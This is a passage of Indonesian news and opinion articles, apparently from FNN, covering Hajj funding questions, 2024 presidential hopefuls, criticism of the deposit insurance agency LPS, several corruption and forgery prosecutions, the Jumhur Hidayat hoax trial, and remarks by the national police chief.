Pemerintah Saudi untuk saat ini ? Lalu solusi apa yang disiapkan demi menenangkan atau bila mampu, menjamin keberangkatan jamaah? Kedua, jika benar masih ada tunggakan pembayaran kepada Pemerintah Saudi maka berapa besaran dan untuk keperluan apa saja serta bagaimana hal ini bisa terjadi ? Lalu fungsi pengawasan DPR sejauh mana telah dilakukan untuk mencegah dan menyelesaikan masalah ini ? Ketiga, terhadap dana haji yang dipertanyakan pengalihan penggunaan untuk infrastruktur benarkah, berapa jumlah terpakai, apa dasar hukum, serta apa konsekuensi yang harus ditanggung jika terjadi wanprestasi atau kesulitan pengembalian ? Keempat, bagaimana Pemerintah menindak para buzzer atau pihak lain yang selalu menggemborkan sikap anti-Arab termasuk isu radikalisme yang dikaitkan dengan faham wahabisme sehingga menyinggung Pemerintah Saudi Arabia? Aspek formal vaksin tentu menjadi alasan logis, tetapi aspek lain termasuk geopolitik dan psikopolitik harus menjadi perhatian Pemerintah Indonesia, sebab jika hal ini diabaikan, maka sepanjang waktu calon jamaah haji Indonesia akan selalu resah dan dirugikan. Khidmah dari Pemerintah Saudi juga berpotensi untuk mengecewakan. Rakyat, khususnya umat Islam Indonesia saat ini menunggu klarifikasi secepatnya dari Pemerintahan Jokowi yang disampaikan secara jujur, jelas, dan bertanggungjawab. Penulis, Pemerhati Politik dan Keagamaan

Bursa Capres, Tak Ada Rotan Akar Pun Jadi

Catatan Muhammad Chirzin Jogjakarta, FNN - Pemilihan pemimpin tertinggi Republik ini, 2024, masih beberapa waktu. Tapi suhu politiknya sudah terasa sekarang. Partai-partai politik dan para politisinya mulai bergerilya. Masing-masing partai melempar isu tentang jago yang akan diusung bersama pasangannya. Muncul nama-nama dari berbagai latar belakang profesi dan keahlian, antara lain Anies Baswedan, Ganjar Pranowo, Puan Maharani, Prabowo Subiyanto, Gatot Nurmantyo, dan AHY. Di sisi lain partai-partai mulai saling melirik dan menjajaki kemungkinan koalisi, padahal Demokrasi Pancasila tidak mengenal institusi koalisi. Apa boleh buat. Rakyat memiliki dua alternatif pilihan dalam meramaikan Pilpres yang akan datang. Pertama, menentukan partai yang akan didukung dalam perhelatan politik nasional akbar tersebut, tanpa memandang siapa pasangan Calon Presiden yang diusungnya. Termasuk menutup mata dengan partai atau partai-partai apa berkoalisi dalam Pilpres nanti. Kedua, menentukan Pasangan Calon Presiden yang akan dipilih, tanpa mempertimbangkan partai apa yang mendukungnya. Bila alternatif pertama dan kedua tidak memuaskan, ia akan memilih untuk tidak memilih, alias golput. Bila seseorang hendak golput, maka kepadanya patut diajukan sebuah pertanyaan, "Apakah golput menguntungkan kawan atau lawan?" Di sinilah perlunya langkah pencerahan kepada para calon pemilih, alternatif mana yang mesti diutamakan. Hal itu bisa dilakukan melalui forum tukar pikiran untuk mematangkan pilihan. Perlu ada komunitas nonpartisan yang sanggup menggelar debat mengenai partai-partai mana yang layak mendapat dukungan dan/atau pasangan Capres mana yang patut mendapat kepercayaan. Ormas-ormas semisal Muhammadiyah, NU, Persis, NW, maupun organisasi-organisasi mahasiswa, profesi dan lain-lain, termasuk Ikatan Alumni lembaga-lembaga pendidikan, ikut bertanggung jawab untuk memberikan pendidikan politik yang elegan. Penulis, Guru Besar Tafsir Al-Quran UIN Sunan Kalijaga Yogyakarta

LPS Dalam Bahaya Besar Karena Pemimpinnya Tidak Amanah

LEMBAGA Penjamin Simpanan (LPS) kembali dalam sorotan. Pasalnya dana iuran perbankan 95,17% digunakan untuk belanja Surat Berharga Negara (SBN). Sampai akhir 2020, LPS diketahui memiliki aset tunai sebesar Rp140,16 triliun. Aset tunai tersebut berasal dari iuran industri perbankan berupa dana penjaminan. Dari jumlah tersebut ternyata 95,17%-nya dibelanjakan SBN atau setara Rp133,39 triliun. Memang pada 2020 berhasil membukukan surplus bersih sebesar Rp19,36 triliun, dibandingkan tahun sebelumnya sebesar Rp17,73 triliun. Sebagian besar surplus itu dari return SBN. "Pendapatan dari investasi naik sebesar 15,80% menjadi Rp8,84 triliun, atau naik sebesar Rp7,64 triliun dari tahun sebelumnya. Hal ini juga karena disertai efisiensi di sisi pengeluaran yang signifikan," demikian ungkap Ketua Dewan Komisioner LPS Purbaya Yudhi Sadewa. Sepanjang tahun 2020 kemarin LPS mencatat kenaikan jumlah simpanan masyarakat di 109 bank umum sebesar 10,86% Year on Year (YoY). "Jumlah rekening ini naik sebesar 16,12% (YoY) dibanding periode yang sama pada tahun sebelumnya. Simpanan yang dijamin LPS hingga Desember 2020 mencapai 350.023.911 rekening atau setara dengan 99,91%," katanya. Sedangkan besaran nilai simpanan yang dijamin LPS adalah Rp2 miliar per nasabah per bank. Ini setara 35,1 kali PDB per kapita nasional tahun 2020 yang jauh di atas rata-rata negara berpendapatan menengah ke atas sebesar 6,29 kali PDB per kapita. Sebelumnya Anggota Komisi XI DPR RI Fathan Subchi mengatakan peran LPS akan dirombak bersamaan pembahasan RUU Omnibus Law Sektor Keuangan yang akan dilakukan pada masa sidang Agustus dan September 2021. Regulasi baru tersebut akan menambah peran LPS menjadi bersifat pre early warning atau lebih awal dibandingkan sekadar menunggu muncul bank gagal. Dia mencontohkan dalam kasus Bank Bukopin beberapa waktu lalu yang mengalami kendala likuiditas. Namun tidak dapat ditangani LPS karena kendala regulasi. Menurutnya kasus itu seharusnya itu sudah masuk ranah LPS dalam menyelamatkan dengan regulasi yang tepat. "Jangan sampai bank terlanjur gagal lalu masyarakat sudah panik menguras simpanannya. Di LPS ada uang nganggur Rp135 Triliun tapi hanya untuk beli SBN dan tidak mampu menggerakkan sektor riil, pertumbuhan ekonomi, dan lapangan kerja. Dana di LPS harus bisa lebih dari sekedar menjamin simpanan di atas Rp2 miliar saja," jelasnya. Masalah Besar Persoalannya, kondisi krisis saat ini sungguh dahsyat, lebih dahsyat dibandingkan krisis 1998, dimana sektor riil lumpuh. Hal ini bisa dilihat pertumbuhan ekonomi yang mengalami kontraksi atau minus 2,07%, sedangkan pertumbuhan kredit mengalami kontraksi 2,41%. Artinya, pertumbuhan ekonomi dan kredit yang minus, menunjukkan roda sektor riil mandeg. Kredit-kredit perbankan yang mengalir ke sektor riil bermasalah pengembaliannya akibat roda ekonomi melambat. Statistik Sistem Keuangan Indonesia (SSKI) yang dirilis Bank Indonesia (BI) mengungkapkan, per Desember 2020, rasio kredit bermasalah (non performing loan--NPL) bank secara umum sebesar 3,02%. Angka ini meningkat 49 basis poin dari periode yang sama tahun sebelumnya 2,53%. Penyumbang pertumbuhan negatif tersebut terutama dari kredit di sektor perdagangan besar dan eceran terkontraksi 6,3% dibandingkan periode yang sama tahun lalu (year-on-year). Kemudian, laju kredit sektor real estate dan industri pengolahan juga minus masing-masing 3,5% yoy dan 4,1% yoy. Sektor perdagangan serta industri pengolahan merupakan sektor-sektor yang terkena dampak pandemi paling signifikan bila dibandingkan dengan sektor lainnya seiring dengan pembatasan aktivitas ekonomi serta pelemahan daya beli masyarakat. Dengan adanya kontraksi dari sektor yang berkontribusi besar tersebut, maka kinerja bank dalam mencetak laba bersih juga ikut terdampak. Per November 2020, rasio margin laba bersih (net interest margin/NIM) perbankan turun 4,41%. Pada November 2019, rasio NIM tercatat masih 4,89%. Konsekuensi dari pertumbuhan kredit negatif adalah makin membengkaknya restrukturisasi kredit perbankan. Otoritas Jasa Keuangan (OJK) mencatat, sejak diluncurkan 16 Maret 2020, sampai dengan akhir Desember 2020 program restrukturisasi kredit perbankan telah mencapai nilai Rp971 triliun diberikan kepada 7,6 juta debitur atau sekitar 18% dari total kredit perbankan. Bayangkan, jika tak ada restrukturisasi kredit, tentu saja jumlah tersebut akan menjadi beban LPS yang hanya memiliki aset tunai Rp140,16 triliun. Apalagi 95,17% sudah dibelanjakan SBN. Sehingga kas keras yang siap cair jika ada bank bermasalah atau ditutup, tinggal Rp6,77 triliun. Selama masa krisis ini saja ada dua bank yang collapse, yakni Bank Bukopin dan Bank Muamalat Indonesia. Untung saja Bukopin diselamatkan Kookmin Bank asal Korea sehingga bank kebanggaan koperasi itu telah berpindah kepemilikan oleh asing. Sedangkan Bank Muamalat diselamatkan lewat merger bank-bank syariah milik negara menjadi Bank Syariah Indonesia (BSI). Secara operasional eks Bank Muamalat juga sedang diampu oleh Islamic Development Bank yang disebut-sebut akan menyuntik dana sebesar kredit macet Bank Muamalat. Pendek kata, likuiditas LPS yang bisa segera dicairkan kalau-kalau ada lagi bank bermasalah tersisa hanya Rp6,77 triliun. Setara aset Bank Century yang bermasalah. Kabarnya sejumlah bank kecil saat ini sedang megap-megap karena nasabahnya menggeser simpanannya ke bank-bank menengah dan bank besar yang lebih aman. Jika melihat sikap LPS yang membelanjakan 95,17% kasnya ke SBN, sungguh sangat membahayakan industri perbankan yang sudah tertatih-tatih membayar iuran ke LPS. Jika dan hanya jika di kemudian hari ada satu dua bank collapse, tentu akan membawa dampak berantai sehingga membutuhkan dana penjaminan yang besar. Dan LPS hanya menyisakan kas keras Rp6,77 triliun. Untuk mencairkan dana sisanya yang dibenamkan ke dalam SBN--karena memang likuiditas APBN sedang kering sekering-keringnya--makan membutuhkan waktu administrasi yang panjang. Bisa dibayangkan keriuhan yang akan terjadi, kemarahan nasabah yang akan memuncak karena dananya tak segera dapat dicairkan. Dan itu semua lantaran Purbaya Yudhi Sadewa dkk tidak amanah dalam mengelola dana LPS.

KPK Panggil Wakil Kepala BPKD DKI Kasus Pengadaan Tanah

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK), Kamis, memanggil empat saksi dalam penyidikan kasus dugaan korupsi pengadaan tanah di Munjul, Kelurahan Pondok Ranggon, Kecamatan Cipayung, Jakarta Timur, DKI Jakarta Tahun 2019. Empat saksi, yakni Wakil Kepala Badan Pengelola Keuangan Daerah (BPKD) DKI Jakarta/Kabid Pembinaan Pengelolaan Keuangan Daerah BPKD DKI Jakarta 2019 Lusiana Herawati, Plh BP BUMD periode 2019 Riyadi, Senior Manajer Divisi Pertanahan dan Hukum Perumda Pembangunan Sarana Jaya Yadi Robby, dan Darzenalia Azli dari pihak swasta. "Hari ini, pemeriksaan saksi tindak pidana korupsi terkait pengadaan tanah di Munjul, Kelurahan Pondok Ranggon, Kecamatan Cipayung, Kota Jakarta Timur, Provinsi DKI Jakarta Tahun 2019, pemeriksaan dilakukan di Kantor Komisi Pemberantasan Korupsi, Jakarta Selatan," kata Plt Juru Bicara KPK Ali Fikri dalam keterangannya di Jakarta, Kamis. KPK pada 27 Mei 2021 telah menetapkan empat tersangka kasus tersebut, yakni mantan Dirut Perumda Pembangunan Sarana Jaya Yoory Corneles (YRC), Wakil Direktur PT Adonara Propertindo Anja Runtuwene (AR), Direktur PT Adonara Propertindo Tommy Adrian (TA), dan korporasi PT Adonara Propertindo (AP). Para tersangka disangkakan melanggar Pasal 2 ayat (1) atau Pasal 3 UU No 31 Tahun 1999 sebagaimana telah diubah dengan UU No 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi jo Pasal 55 ayat (1) ke-1 KUHP. KPK menduga ada kerugian keuangan negara senilai Rp152,5 miliar dalam pengadaan tanah tersebut. Awalnya, Badan Usaha Milik Daerah (BUMD) Provinsi DKI Jakarta Perusahaan Daerah Pembangunan Sarana Jaya (PDPSJ) yang bergerak di bidang properti tanah dan bangunan mencari tanah di wilayah Jakarta yang akan dijadikan unit bisnis ataupun bank tanah. Salah satu perusahaan yang bekerja sama dengan PDPSJ dalam hal pengadaan tanah di antaranya PT Adonara Propertindo (AP) yang kegiatan usahanya bergerak di bidang properti tanah dan bangunan. Pada 8 April 2019 disepakati dilakukan penandatanganan Pengikatan Akta Perjanjian Jual Beli di hadapan notaris yang berlangsung di Kantor PDPSJ antara pihak pembeli, yakni Yoory Corneles dengan pihak penjual, yakni Anja Runtuwene. Selanjutnya pada waktu yang sama langsung dilakukan pembayaran sebesar 50 persen atau sekitar Rp108,9 miliar ke rekening bank milik Anja di Bank DKI. Selang beberapa waktu kemudian, atas perintah Yoory dilakukan pembayaran oleh PDPSJ kepada Anja sekitar sejumlah Rp43,5 miliar.

Bangun Dermaga Pribadi, Wakil Walikota Bima Langgar UU Lingkungan Hidup

Mataram, FNN - Wakil Wali Kota Bima, Nusa Tenggara Barat, Fery Sofyan, didakwa melanggar Undang-Undang RI Nomor 32/2009 tentang Perlindungan dan Pengelolaan Lingkungan Hidup terkait pembangunan dermaga jetty milik pribadi. Kepala Kejari Bima Suroto yang dihubungi melalui sambungan telepon pada Kamis di Mataram,, mengatakan, dakwaan terhadap Fery Sofyan telah tersampaikan oleh jaksa penuntut umum dalam sidang perdana yang digelar di Pengadilan Negeri Bima. "Jaksa penuntut umum, mendakwa Fery Sofyan dengan Pasal 109 Undang-Undang RI Nomor 32/2009 tentang Perlindungan dan Pengelolaan Lingkungan Hidup atau Pasal 22 Angka 36 UU RI Nomor 11/2020 tentang Cipta Kerja tentang perubahan atas Pasal 109 Huruf a UU RI Nomor 32/2009 tentang Perlindungan dan Pengelolaan Lingkungan Hidup," kata Suroto. Pasal tersebut, kata dia, menjelaskan pidana yang dilakukan perorangan atau badan usaha terkait kegiatan yang tidak mengantongi izin lingkungan. "Ancaman pidananya paling singkat satu tahun dan paling berat tiga tahun penjara, serta pidana denda paling banyak Rp3 miliar," ujarnya. Dalam dakwaannya, lanjut Suroto, jaksa penuntut umum menyebutkan pembangunan dermaga di Teluk Bonto, Kelurahan Kolo, Kecamatan Asakota, Kota Bima, ini tidak disertai dengan kajian Upaya Pengelolaan Lingkungan Hidup dan Upaya Pemantauan Lingkungan Hidup (UKL/UPL). Hal itu dilihat dari tidak adanya tertera dokumen analisis mengenai dampak lingkungan (amdal) dalam syarat administrasi pembangunannya. Karenanya, kegiatan pembangunan dermaga jetty milik terdakwa itu terindikasi berjalan secara ilegal. Dari sidang perdananya, Suroto mengatakan bahwa terdakwa menanggapi dakwaan tersebut dengan mengajukan eksepsi (nota keberatan). Dengan tanggapan yang demikian, majelis hakim memberikan kesempatan kepada terdakwa untuk menyampaikan materi eksepsinya pada sidang lanjutan pekan depan, Kamis (10/6). Untuk selanjutnya, kata Suroto, majelis hakim meminta agar terdakwa yang tidak ditahan sejak penyidikannya di kepolisian dapat dipastikan hadir dalam sidang penyampaian materi eksepsi pekan depan. (ant)

Kades Bekasi Pemalsu Surat Tanah Dituntut 8 Bulan

Cikarang, FNN - Kepala Desa Taman Rahayu, Kecamatan Setu, Kabupaten Bekasi berinisial AW yang melakukan tindak pidana pemalsuan surat tanah dituntut 8 bulan penjara dalam sidang ketujuh beragendakan pembacaan tuntutan di Pengadilan Negeri Cikarang, Kamis. "Selain oknum kepala desa AW, aparatur desa setempat berinisial AR, IF, dan SA juga kami tuntut 8 bulan penjara," kata jaksa penuntut umum Danang Yudha Prawira usai persidangan. Mereka didakwa melanggar Pasal 263 KUHP terkait pemalsuan surat. Tuntutan itu berdasarkan fakta persidangan, baik fakta memberatkan maupun meringankan para terdakwa. "Hal yang memberatkan terdakwa adalah meresahkan masyarakat dan sebagai perangkat desa seharusnya mereka mengayomi warga," katanya. Danang mengatakan bahwa Pasal 263 KUHP tidak menyebutkan ancaman minimal, tetapi ancaman maksimal 6 tahun penjara. Keluarga ahli waris Novi merasa tidak puas atas tuntutan jaksa yang dianggap terlalu ringan mengingat ancaman maksimal atas perbuatan yang dimaksud adalah hukuman penjara selama 6 tahun. "Saya ingin hukuman seadil-adilnya karena kami masyarakat kecil. Tolonglah bantu kami yang merasa terinjak-injak dan dirugikan Kades. Dia harus mendapat hukuman setimpal," katanya. Massa dari keluarga ahli waris yang berjumlah puluhan orang itu terlihat kecewa saat meninggalkan area ruang persidangan. Mereka kemudian melanjutkan aksi ke Kantor Kecamatan Setu. "Kami kecewa lantaran tuntutan jaksa terlalu ringan. Kami meminta pemerintah daerah dan Kecamatan Setu menonaktifkan kepala desa," kata Midun. Diketahui kasus yang menyeret oknum kepala desa berikut aparatur desa itu berawal dari sengketa tanah di Kampung Serang RT 03/03 Desa Taman Rahayu. Keluarga ahli waris Ontel bin Teran menggugat kepala desa atas kepemilikan tanah mereka seluas 1.100 meter yang dipindahnamakan atas nama Utar bin Elon, kemudian diwakafkan ke desa dengan menggunakan surat akta ikrar wakaf yang dikeluarkan KUA Kecamatan Setu. (ant)

Kerabat eks Sekretaris MA Didakwa Bantu Bersembunyi dari Penyidik KPK

Jakarta, FNN - Ferdy Yuman selaku kerabat dari mantan Sekretaris Mahkamah Agung Nurhadi didakwa membantu Nurhadi dan menantunya Rezky Herbiyono untuk menghindari pemeriksaan dari penyidik KPK terkait perkara hukum yang menjerat keduanya. "Terdakwa Ferdy Yuman mencari dan menyewakan rumah sebagai tempat Nurhadi dan Rezky Herbiyono untuk menghindari pemeriksaan atau tindakan hukum lainnya terhadap Nurhadi dan Rezky Herbiyono yang pada saat itu sudah berstatus Daftar Pencarian Orang (DPO) oleh penyidik KPK," kata jaksa penuntut umum KPK Nur Haris Arshadi di pengadilan Tindak Pidana Korupsi Jakarta, Kamis. Ferdy diketahui adalah sepupu Rezky Herbiyono yang sejak 2018 bekerja sebagai supir dan orang kepercayaan Rezky yang mengurus kebutuhan Rezky dan Nurhadi beserta keluarganya. Atas pekerjaan tersebut, Ferdy mendapat gaji sebesar Rp20 juta per bulan dari Rezky Herbiyono. Pada 6 Desesmber 2019, terbit Surat Perintah Penyidikan perkara tindak pidana korupsi penerimaan hadiah atau janji yang dilakukan oleh Nurhadi bersama-sama dengan Rezky Herbiyono dan perbuatan penerimaan gratifikasi terkait jabatan. Tiga panggilan KPK terhadap Nurhadi dan Rezky yaitu pada 13 Desember 2019, 3 Januari 2020 dan 23 Januari 2020 tidak dipenuhi keduanya. "Karena surat panggilan baik sebagai saksi maupun sebagai tersangka tidak dipenuhi Nurhadi dan Rezky Herbiyono maka pada 28 Januari 2020 KPK mengeluarkan surat perintah penangkapan kepada Nurhadi dan Rezky," ungkap jaksa. Penyidik lalu mendatangi kediaman dan lokasi lainnya diduga tempat persembunyian Nurhadi dan Rezky namun tidak diketemukan sehingga pada 11 Februari 2020 penyidik mengajukan penerbitan Daftar Pencarian Orang (DPO) ke Polri atas nama Nurhadi dan Rezky. Bareskrim Polri lalu menerbitkan DPO terhadap Nurhadi dan Rezky. "Sejak Nurhadi dan Rezky ditetapkan sebagai tersangka, untuk menghindari penangkapan, Nurhadi dan Rezky Herbiyono beserta seluruh keluarga pindah tempat tinggal sementara dengan menyewa apartemen di The Residences at Dharmawangsa I unit 1707 selama 3 bulan," tambah jaksa. Setelah tinggal di tempat tersebut, Rezky meminta Ferdy untuk tinggal di apartemen itu juga untuk memenuhi keperluan Nurhadi, Rezky dan keluarga. Pada awal Januari 2020, Rezky meminta Francesco Kolly Mally untuk mencarikan rumah sewa dengan kriteria halaman luas dan jumlah kamar banyak sehingga didapat rumah di Jalan Simprug Golf 17 suites No. 1 Kebayoran Lama Jakarta Selatan. Setelah Rezky merasa cocok, Ferdy berkomunikasi dan menegosiasikan harga dengan Adiwono Dewantoro selaku agen pemasaran rumah tersebut dan dicapai kesepakatan harga sewa rumah sejumlah Rp360 juta per tahun ditambah uang jaminan Rp70 juta dan Rp60 juta sebagai komisi agen pemasaran sehingga total seluruhnya adalah Rp490 juta. Ferdy lalu menandatangani perjanjian sewa dengan Ni Putu Nena selaku kuasa pemilik rumah sekaligus menyerahkan biaya sewa Rp490 juta yang uangnya berasal dari Rezky. Nurhadi dan Rezky memulai proses perpindahan rumah pada 28 Februari 2020, Ferdy pun ikut pindah ke rumah tersebut sekaligus mengurus kebutuhan Nurhadi, Rezky dan keluarga padahal mengetahui Nurhadi dan Rezky sedang berperkara di KPK dan masuk DPO. Ferdy juga tidak melaporkan kepindahan Nurhadi, Rezky dan keluarga kepada ketua RT setempat agar keberadaan mereka tidak diketahui orang lain. Pada Mei 2020, penyidik mendapat informasi keberadaan Nurhadi dan REzky kemudian pada 1 Juni 2020, tim penyidik mendatangi lokasi tersebut untuk melakukan penangkapan. "Namun setiba di lokasi terdakwa telah bersiap-siap menunggu di depan pintu gerbang rumah memakai mobil Toyota Fortuner nomor polisi B 1187 Q dengan kondisi mesin kendaraan yang menyala sebagai upaya untuk melarikan Nurhadi dan Rezky Herbiyono, namun sebelum terlaksana, terdakwa melihat mobil tim Penyidik KPK mendekat, terdakwa langsung menjalankan kendaraannya sehingga tidak terkejar oleh penyidik dan selanjutnya terdakwa pulang ke Surabaya," jelas jaksa. Penyidik lalu menggeledah rumah tersebut dan mendapati Nurhadi sedang bersembunyi di salah satu kamar dan Rezky bersembunyi di kamar lain sehingga Nurhadi dan Rezky bisa diamankan dan dibawa ke KPK. "Bahwa serangkaian perbuatan terdakwa tersebut dilakukan dengan maksud agar Nurhadi dan Rezky Herbiyono selaku tersangka Tindak Pidana Korupsi tidak diketahui keberadaannya serta untuk menghindari pemeriksaan atau tindakan hukum lainnya terhadap Nurhadi dan Rezky Herbiyono oleh Penyidik KPK," ungkap jaksa. Ferdy pun didakwa dan diancam pidana dengan pasal 21 Undang-Undang Nomor 31 Tahun 1999 sebagaimana diubah dengan Undang-Undang Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi. Pasal tersebut mengatur tentang orang yang sengaja mencegah, merintangi atau menggagalkan secara langsung atau tidak langsung penyidikan, penuntutan dan pemeriksaan di sidang terdakwa dalam perkara korupsi dapat dipidana maksimal 12 tahun dan denda paling banyak Rp600 juta. (ant)

Faisal Basri Dijadikan Ahli untuk Terangkan Jumhur Tidak Berbohong

Jakarta, FNN - Tim kuasa hukum Jumhur Hidayat menghadirkan ekonom senior Faisal Basri sebagai ahli pada sidang di Pengadilan Negeri (PN) Jakarta Selatan, Jakarta, Kamis, demi menerangkan cuitan terdakwa bukan berita bohong sebagaimana dituduhkan oleh jaksa. “Ini ingin memberi konteks dan menunjukkan bahwa cuitan Jumhur bukan berita bohong,” kata anggota tim kuasa hukum Jumhur, Arif Maulana, saat ditemui usai sidang di PN Jakarta Selatan, Kamis. Dalam persidangan yang dipimpin oleh Ketua Majelis Hakim Agus Widodo, Faisal Basri menerangkan Undang-Undang Omnibus Law Cipta Kerja, yang dikritik oleh Jumhur lewat media sosial Twitter memuat sejumlah masalah. Dari berbagai masalah yang disampaikan Faisal, kesejahteraan buruh dan pelindungan terhadap lingkungan dari ancaman kerusakan jadi isu yang banyak dibahas dalam sidang. Faisal berpendapat UU Cipta Kerja memudahkan tenaga kerja asing masuk bekerja di dalam negeri sehingga pada periode Januari-April 2021 ada lebih dari 6.000 TKA asal China yang masuk ke Indonesia melalui Bandara Sam Ratulangi, Sulawesi Utara. Faisal menyebut angka itu ia peroleh dari data resmi Badan Pusat Statistik (BPS). Namun, pihak BPS belum dapat langsung dihubungi untuk diminta konfirmasinya terkait data tersebut. Di samping mengancam kesejahteraan buruh, Faisal juga menyoroti bahwa UU Cipta Kerja juga melemahkan pelindungan terhadap lingkungan mengingat adanya perubahan pada aturan terkait analisis dampak mengenai lingkungan (amdal). “Standar-standar lingkungan juga dilonggarkan dalam Omnibus Law ini. Amdal tidak perlu lagi melibatkan masyarakat sipil, civil society, kemudian merembet ke aturan-aturan turunannya. Misalnya, limbah batu bara tidak masuk lagi dalam kategori B3 atau limbah berbahaya,” terang Faisal Basri. Dalam sidang, kuasa hukum Jumhur yang menamakan diri sebagai Tim Advokasi untuk Demokrasi (TAUD) juga bertanya mengenai isi cuitan kliennya itu yang disebut oleh jaksa sebagai berita bohong. “(Pendapat ahli, Red) ini akan membuktikan bahwa pendapat tersebut bukan berita bohong, karena ahli ekonomi sudah membenarkan hal itu dalam persidangan,” terang Koordinator TAUD Oky Wiratama saat ditemui di luar ruang sidang, Kamis. Pendapat yang disebut Oky merujuk pada cuitan Jumhur di media sosial Twitter pada 7 Oktober 2020. Cuitan Jumhur, yang menjadi sumber dakwaan jaksa, menyebut “UU ini memang utk PRIMITIVE INVESTORS dari RRC dan PENGUSAHA RAKUS. Kalau INVESTOR BERADAB ya seperti di bawah ini: 35 Investor Asing Nyatakan Keresahannya terhadap Pengesahan UU Cipta Kerja. Klik untuk baca: kmp.im/AGA6m2”. Cuitan Jumhur juga mengutip tautan (link) berita yang disiarkan oleh Kompas.com berjudul “35 Investor Asing Nyatakan Keresahannya terhadap Pengesahan UU Cipta Kerja”. Terkait pertanyaan itu, Faisal membenarkan isi berita yang disiarkan oleh Kompas.com bahwa ada keresahan dari 35 investor asing mengenai pengesahan UU Cipta Kerja. Ia juga berpendapat bahwa sebutan “Primitive Investors” pada cuitan Jumhur kemungkinan merujuk pada penanam modal sektor ekstraktif. Industri ekstraktif, yang izinnya dipermudah oleh UU Cipta Kerja, merupakan sektor yang eksploitatif dan kurang menguntungkan bagi Indonesia, demikian pendapat Faisal sebagaimana disampaikan dalam sidang. Jumhur Hidayat, petinggi Koalisi Aksi Menyelamatkan Indonesia (KAMI) sekaligus wakil ketua umum Konfederasi Serikat Pekerja Seluruh Indonesia (KSPSI), didakwa oleh jaksa dengan sengaja dan tanpa hak menyebarkan berita bohong yang menimbulkan kericuhan. Jaksa dalam dakwaannya juga menuduh Jumhur berusaha menciptakan kebencian antargolongan pengusaha dan buruh lewat cuitannya itu. Terkait dakwaan itu, Jumhur dijerat dua pasal alternatif, yaitu Pasal 14 Ayat (1) juncto Pasal 15 Undang-Undang Nomor 1 Tahun 1946 KUHP atau Pasal 45A Ayat (2) jo. Pasal 28 Ayat (2) UU No.19/2016 tentang Perubahan UU No.11/2008 tentang Informasi dan Transaksi Elektronik. Namun, Jumhur beserta kuasa hukumnya mengatakan bahwa cuitan itu merupakan kritik dan pengingat buat pemerintah bahwa UU Cipta Kerja bermasalah. (ant)

Kapolri Minta Jajaran Polri Jaga Kepercayaan Masyarakat

Jakarta, FNN - Kapolri Jenderal Pol. Listyo Sigit Prabowo meminta jajarannya untuk menjaga kepercayaan masyarakat terhadap institusi Polri yang mulai meningkat dengan mempertahankan kinerja yang membaik saat ini. "Capaian kinerja 100 hari Kapolri, secara umum mencapai 100 persen. Berdasarkan survei Alvara, tingkat kepercayaan masyarakat 86,5 persen dan tingkat kepuasan 82,3 persen," ujar Kapolri saat membuka rapat kerja teknis (rakernis) gabungan 4 divisi Polri di Mabes Polri, Jakarta, Kamis. Sigit, sapaan akrab Kapolri, dalam arahannya mengatakan bahwa seluruh divisi Polri harus melakukan penguatan transformasi untuk mewujudkan Polri yang Presisi (Prediktif, Responsibilitas, dan Transparansi Berkeadilan). Mantan Kadiv Propam ini pun mengapresiasi inovasi yang telah dilakukan empat divisi yang melaksanakan rakenis hari ini. Empat divisi yang dimaksud, yakni Divisi Hukum (Divkum) Polri, Divisi Humas Polri, Divisi Hubungan Internasional (Hubinter) Polri, dan Divisi Teknologi Informasi dan Komunikasi (Div TIK) Polri. "Tujuan rakernis adalah untuk menganalisis dan mengevaluasi kinerja, serta persiapan langkah-langkah strategis. Konsep transformasi menuju Polri yang Presisi," kata Kapolri di hadapan peserta rakernis. Adapun inovasi yang telah dihasilkan tiap-tiap divisi, seperti Divkum Polri membuat kegiatan Pendidikan Khusus Profesi Advokat (PKPA) pada tahun 2021 secara virtual diikuti 228 peserta, serta pengembangan Sisdivkum yang terintegrasi dengan Jaringan Dokumentasi Informasi Hukum Nasional (JDIHN). Sigit berharap Divkum Polri bisa meningkatkan penyuluhan hukum terhadap masyarakat, dan terus melakukan terobosan untuk meningkatkan kualitas SDM yang ada. "Tingkatkan kualitas dan kuantitas personel serta anggaran sehingga bantuan dan nasihat hukum dapat lebih optimal," kata Sigit. Jenderal bintang empat itu juga mengapresiasi peluncuran Polri TV Radio oleh Divisi Humas, yang menjadi implementasi program penguatan sistem komunikasi publik. Platform tersebut, kata Sigit, telah diunduh oleh publik sebanyak 33.552 kali melalui Google Play Android dan 1.310 kali unduhan melalui App Store Apple. "Jumlah penonton rata-rata per hari sebanyak 1.700 orang dengan penonton tertinggi dalam 1 hari berjumlah 21.420 penonton," ujar Sigit. Sigit menekankan Divisi Humas Polri terus melakukan evaluasi dan optimalosasi berbagai terobosan inovasi. Perluas kerja sama dengan berbagai kementerian/lembaga serta media massa baik di dalam maupun di luar negeri. "Tingkatkan sinergisitas dengan para tokoh masyarakat, tokoh adat, dan tokoh agama guna sosialisasi harkamtibmas dan program-program pemerintah," ujar Sigit. Pada Rakernis Divisi Hubinter Polri, Sigit menginstruksikan agar segera membuat kajian terhadap pengajuan penempatan baru Staf Teknis Polri (STP) pada wilayah yang berpotensi meningkatkan konstelasi kejahatan transnasional untuk mencegah kejahatan internasional. "Pembuatan peraturan tata cara permintaan bantuan dalam penanganan kejahatan lintas negara. Peningkatan kompetensi dan integritas personel yang berdinas di luar negeri," ucap Sigit. Pada Rakernis Div TIK Polri, Sigit mengapresiasi soal pengoptimalisasian Command Center yang telah dibangun di 26 polda dan 36 polres serta monitoring center di satu polda dan 236 polres. Div TIK Polri juga diminta untuk menyiapkan pembangunan big data Polri. Selain itu, menyempurnakan layanan polisi 110 yang telah terpasang di 420 titik, yaitu 1 Mabes Polri, 32 polda, 387 polres/ta/metro, dan yang belum terpasang ada 107 titik, yaitu 2 polda dan 105 polres. Dengan seluruh capaian yang telah dilakukan empat divisi tersebut, Sigit berharap bisa terus ditingkatkan dan melakukan inovasi demi mewujudkan Polri yang dicintai oleh masyarakat. "Wujudkan Polri yang Presisi, Polri yang diharapkan, dan Polri yang dicintai masyarakat sesuai dengan janji saya pada saat uji kepatutan dan kelayakan," kata Sigit. (ant).

Teroris Papua Tembak Mati Pekerja Bangunan

